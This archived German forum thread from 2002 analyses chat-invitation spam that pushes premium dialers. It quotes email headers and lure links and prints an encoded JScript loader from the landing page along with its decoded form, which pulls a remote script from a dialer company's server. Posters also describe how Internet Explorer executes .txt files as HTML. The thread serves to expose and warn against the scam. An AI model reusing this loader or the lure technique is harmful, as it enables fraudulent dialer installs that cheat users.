Archiv verlassen und diese Seite im Standarddesign anzeigen : [InterfunDialer???] Ich lade Dich ein !
webeinspunktnull
01.12.2002, 15:27
ich als Javarea.de Chatmaster würde nie die Leute so einladen.. Nur im Forum als Ankündigung - Ich benutz ja noch net mal den Newsletter dafür.. Header ( helo und xmailer ) *erfreuen* mich besonders... wohlbekanntes Teil
Wieder ein neuer Host? Und wieso ne TXT??? Umbenannt? ich möcht net klicken gehnSchon wieder son Krampf
Return-path: <catmaster_55 [at] tripod.com.pe>
Envelope-to:
Delivery-date: Sun, 01 Dec 2002 xx:xx:xx +0100
Received: from [62.180.214.111] (helo=freenet.de)
by mxng13.kundenserver.de with smtp (Exim 3.35 #1)
ID: [ID filtered]
for ; Sun, 01 Dec 2002 xx:xx:xx +0100
From: "Andrea(Chatmaster)" <catmaster_55 [at] tripod.com.pe>
To: "User" <>
Reply-To: catmaster_55 [at] tripod.com.pe
Subject: Ich lade Dich ein !
X-Priority: 1
X-Mailer: Microsoft Outlook Express 5.00.2919.6900DM
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
X-RBL-Warning: (dialup.bl.kundenserver.de) This mail has been received from a dialup host.
Message-ID: [ID filtered]
Date: Sun, 01 Dec 2002 xx:xx:xx +0100
Ich lade Dich ein !
Absender: Andrea(Chatmaster) Datum: 01.12.2002, xx:xx:xx
Empfänger: User Größe: 2.47 kB
Kopie: (N/A)
Untitled Document
Du wurdest zum Chat eingeladen
Um die Einladung anzunehmen
und die vollständige Nachricht
zu lesen
Hier klicken http://www.eter0upsz.home.ro/4554.txt
Nachricht:
.....Ich freue mich auf Dich
Bussi
Deine......;-))))
Trafficklau? Wie schützt Du Dich - Komm zu den Traffic Guards http://www.trafficklau.de
peter1962
01.12.2002, 16:33
Hallo,
ich bekomm bloss:
403 Forbidden
You must supply a local referer to get URL `/4554.txt` from this server.
Dabei wollt ich schaun was das ist...http://img.homepagemodules.de/hmm.gif
Schönen Sonntag
Peter
Sinclair3
01.12.2002, 17:10
Return-Path:
<poor [at] spamvictim.tld>
X-Flags:
0000
Delivered-To:
GMX delivery to poor [at] spamvictim.tld
Received:
(qmail 22357 invoked by UID: [UID filtered]
Received:
from c-180-214-111.cvx-l.dial.de.ignite.net (HELO freenet.de) (62.180.214.111) by mx0.gmx.net (mx003-rz3) with SMTP; 1 Dec
2002 xx:xx:xx -0000
Von:
"Andrea(Chatmaster)" <poor [at] spamvictim.tld>
An:
"User" <poor [at] spamvictim.tld>
Rückantwort:
poor [at] spamvictim.tld
Betreff:
Ich lade Dich ein !
X-Priority:
1
X-Mailer:
Microsoft Outlook Express 5.00.2919.6900DM
MIME-Version:
1.0
Content-Type:
text/html; charset="iso-8859-1"
Datum:
Sun, 1 Dec 2002 xx:xx:xx +0100
Nachrichten-ID: [ID filtered]
<poor [at] spamvictim.tld>
X-GMX-Antivirus:
-1 (not scanned, may not use virus scanner)
X-Mozilla-Status:
c001
X-Mozilla-Status2:
00000000
X-UIDL: [UID filtered]
b9e0c94fa4b8425d425184f45ca1b6b2
Du wurdest zum Chat eingeladen
Um die Einladung anzunehmen
und die vollständige Nachricht
zu lesen
Hier klicken
http://www.angela684xkl.home.ro/4554.txt
Nachricht:
.....Ich freue mich auf Dich
Bussi
Deine......;-))))
---------------------
Sinclair3
<<Linux is like a Wigwam.No Gates, no Windows, Apache inside>> http://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gif_http://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gifhttp://img.homepagemodules.de/death.gif_http://img.homepagemodules.de/death.gif
Hi,
> [403]
mit Mozilla bekomm ich den auch, ie Seite funzt nur mit einem IE, dort steht dann zu lesen:
Hi du,
--------------------------------------------------------------------------------
Ich hab mich glaub ich in dich verliebt :) Lass uns mal in dem Chat treffen. Dann kann ich dir alles erzählen.
Dein/e ........ ?
Im Quelltext codieter JavaScript-Code
<font color="#00C000"><SCRIPT LANGUAGE="JScript.Encode">#@~^GAMAAA==@#@&CMP:+6DP{E]2ZdmMk2Ou !^CxTElTnY&G]y Bl-CUm.kaO]y YfA]!9YZb-lMYy!.0u !u&GY ZNGm!:nUDRDW+MD+M OWdWS+.ZCd]+%u+,u&$YZf]T)7l.]yT9kn!D^] Z]29]y![W1Ehn YR`]ScYWdGA+MZm/n]+0u 1]2$]ZfYTzl.Yy!2lMOk]+Z]2f]y!Mn0c/2VbYY+R] ydk9]&GY+ u O]fAYTG]TbbW]y!Y+Rwl.OkRs+ LDtYy!u&fu&GY ZFY O]+T7lDu+!alDDdY Z]2fY T[b+;D^ /aVrOu %Y+y/rNufG]+y]y,]2AuTfu!)k6]+Tu %aCDD/R^nUoDtu T]f9u&9]yTFu 1Yy!lsnMYY ZYy%YyGw+t^+M4l6YnDu T3bx4m;]y!NdY ZD8+2CMYU+MRZKNndu FY+F]+,uf~]TG]Zb+^/Y ZNGm!:nUDRhMrY] ZY+%u y]fZd^Mk2Yu+!^lUL!lonY2fY*;Yy Bmm?mMkaO]lZY y]+TkDmuffu*Zu++tDYa]fb&&9kCVcrxD+.W!xoh84R[+JAD8wmDY +M w4wY&w/r[u&fu+ u !3Y+!alMYd]X$8]Xfu+!3]+Tu YX;]+ ufA]f;]lZzkmMrwD]f2u +Yy,]2$]Zf]Z)Y&;zkm.k2Ou&3Jp@#@&6EU^DkWU~G+/W9nv#~PP7lD,1AK6Oi,1nA:+6D~`,Exd^la+vKn6ObpP[W1;:xO SDkOnv1nh:nXYbp8,f+;W9n`*i@#@&decAAA==^#~@</SCRIPT></font>
der aber beim Laden der Seite einen Fehler wirft:
Fehlerhafter Einbau des Werbepartner-Codes
Sieht wirklich ganz nach Interspam aus.
Grüsse
Eniac
--
Ceterum censeo netmails.com esse delendam.
webeinspunktnull
01.12.2002, 18:26
aha? Nur smörebröd verstehe...
Trafficklau? Wie schützt Du Dich - Komm zu den Traffic Guards http://www.trafficklau.de
peter1962
01.12.2002, 20:22
Hallo Patty,
unter
http://www.virtualconspiracy.com/index.p...scrdec/download (http://www.virtualconspiracy.com/index.php?page=scrdec/download)
findest Du einen "Windows Script Decoder"
Nach dem decodieren kommt folgendes raus:
var Text ="%3Cscript%20language%3D%22JavaScript%22%3E%0D%0Avar%20ref%20%3D%20document.refer rer.
toLowerCase%28%29%3B%0D%0Avar%20dieurl%20%3D%20document.URL.
toLowerCase%28%29%3B%0D%0Avar%20parts%20%3D%20ref.
split%28%22sid%3D%22%29%3B%0D%0Aif%20%28parts.
length%20%3D%3D%201%29%20var%20parts%20%3D%20dieurl.
split%28%22sid%3D%22%29%3B%0D%0Aif%20%28parts.
length%20%3D%3D%201%29%20alert%20%28%27
Fehlerhafter%20Einbau%20des%20Werbepartner-Codes%21%27%29%3B%0D%0Aelse%20document.
write%20%28%22%3Cscript%20language%3D%5C%22JavaScript%5C%22%20src%3D%5C%22
http%3A//dial.interfungmbh.de/werbepartner.php%3Fsid%3D%22%20+%20
parts%5B1%5D%20+%20%22%5C%22%3E%3C%5C/script%3E%22%29%3B%0D%0A%3C/script%3E";
function DeCode() { var NewText; NewText = unescape(Text);document.write(NewText);} DeCode();
Das ist vom IE lesbar.
Klar zu erkennen ist "dial.interfungmbh.de/werbepartner.php"
Wie das weiter decodiere kriege ich auch noch raus!
Bloss blöd das ich den IE nur im Notfall benutze...
Schönen Wochenanfang
Peter
P.S. der Spammer muss einen Fehler eingebaut haben, da es nicht funktioniert...
Hi,
ich habs weiter decodiert:
var Text ="<script language="JavaScript">
var ref = document. referrer. toLowerCase();
var dieurl = document.URL.toLowerCase();
var parts = ref.split("sid=");
if (parts.length == 1) var parts = dieurl.split("sid=");
if (parts.length == 1) alert (`Fehlerhafter Einbau des Werbepartner-Codes!`);
else document.write ("<script language="JavaScript" src="http://dial.interfungmbh.de/werbepartner.php?sid=" + parts[1] + ""></script>");
</script>";
function DeCode() { var NewText; NewText = unescape(Text); document.write(NewText);} DeCode();
Der Fehler kommt hauptsächlich daurch zustande, dass der SID-Parameter in der URL vergessen wurde.
Das ganze funzt nur deshalb im IE, weil dieser so "schlau" ist, HTML-Seiten mit der Dateiendung .txt, die über das HTTP-Protokoll kommen, trotzdem als HTML-Datei zu interpretieren.
Der gutgläubige Benutzer denkt sich, er fordert eine harmlose Text-Datei an, in der kein aktiver Code ausgeführt werden kann und wird durch die unheilige Allianz von Abzocker und Kleinstweich[TM] übertölpelt.
Wer hingegen im Mozilla eine .txt-Datei anfordert, bekommt sie auch als text/plain dargestellt.
HTH
Eniac
--
Ceterum censeo netmails.com esse delendam.
Die Interfun spammt offiziel selbst, aber keiner kümmert sich drum http://img.homepagemodules.de/grin.gif
---
Loki`s Germanische Mythologie: http://www.loki.de.tf
Dotshead
13.12.2002, 17:15
Falsch, der Azubi spammt oft genug über Tp-Edertal und Interfun zahlt momentan auch Gelder zurück ;)
Nicht der Azubi, sondern Gesellschaftler & Co.
Aber kein Mensch juckt es, ihr geht ja lieber gegen kleiner ibi tec Dialer vor, die einmal alles schaltjahr beworben werden...
---
Loki`s Germanische Mythologie: http://www.loki.de.tf
Nun, das ist nicht wahr, ich habe es schon versucht, Mainpean/Starweb und Interfun kennen mich schon :)
Nur jedesmal der selbe Spruch "Es war ein Kunde, wir sind nicht haftbar für Spam" usw. Interfun schlug mir sogar vor, in ihrem tollen Webmasterprogramm mitzumachen "Ihre Firma könnte davon provitieren ... was ist schlechtes daran, Geld zu verdienen ? wäre das nichts für Sie" blablablubb [Würg]
Mainpean-Starweb sind ein und die selbe Firma, gesplittet um kaum angreifbar zu sein, aber andere gehen über Briefkastenfirmen
- ich hatte schon malta, Gibraltar, Mallorca und Gambia ...
nix mit rechtlicher Handhabe, weil da mit Deutschland kein Abkommen existiert.
Manchmal wünsche ich mir das amerikanische Rechtssystem, eine Klage über 500 Mille :) - deswegen gibt es in den U>SA auch keine Dialer.
Komisch!
Stardialer ==> Deutschland und haftbar
Interfun ==> Deutschland und haftbar
Aber nein! Ihr geht lieber auf IBI TEC los, obwohl die genauso wenig was mit Spam zu tun haben wie Interfun und IBI TEC bedeutend schneller reagiert hatte als Interfun es jemals getan hat.
Und IBI TEC Spam kommt sehr, sehr selten vor - Interfun Spam mindestens 2x in der Woche!
Ihr verschwendet eure Zeit an Firmen wie EnTex und Dialpartner(die weder Dialeranbieter sind, noch Spammer), die nur ein Partnerprogramm anbieten.
---
Loki`s Germanische Mythologie: http://www.loki.de.tf
webeinspunktnull
14.12.2002, 15:32
ich will aber nicht eigeladen werden!
Dank Mailwasher nicht auf der Platte
Return-path: <Catinfomailer [at] web.de>
Envelope-to: Delivery-date: Sat, 14 Dec 2002 xx:xx:xx +0100
Received: from [212.82.230.40] (helo=freenet.de)
by mxng13.kundenserver.de with smtp (Exim 3.35 #1)
ID: [ID filtered]
for Sat, 14 Dec 2002 xx:xx:xx +0100
From: "CMaster" <Catinfomailer [at] web.de>
To: "User" <>
Reply-To: Catinfomailer [at] web.de
Subject: Eine Nachricht für Dich!
X-Priority: 1
X-Mailer: Microsoft Outlook Express 5.00.2919.6900DM
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Message-ID: [ID filtered]
Date: Sat, 14 Dec 2002 xx:xx:xx +0100
http://members.tripod.com.br/mailkontakt...1035A5F5344085F (http://members.tripod.com.br/mailkontakt1450/4554.txt?sid=0610031E0042161E041B46270505114C17124A11531710465D16451141035A5F534 4085F)
--
Trafficklau? Wie schützt Du Dich - Komm zu den Traffic Guards http://www.trafficklau.de
Interfun spammt nach wie vor fröhlich weiter und kein Mnesch interessiert es...
---
Loki´s Germanische Mythologie: http://www.loki.de.tf
Hier spielt die Musik: http://www.radio21.de/ hier spielt wirklich die Musik; Eniac
daWizard
16.12.2002, 15:40
http://img.homepagemodules.de/smokin.gif die Musik spielt eigentlich hier: http://www.fettesradio.de
daWizard
"Computers are like air-conditioners, they stop working properly when you open Windows." - Anon
Powered by vBulletin® Version 4.2.3 Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.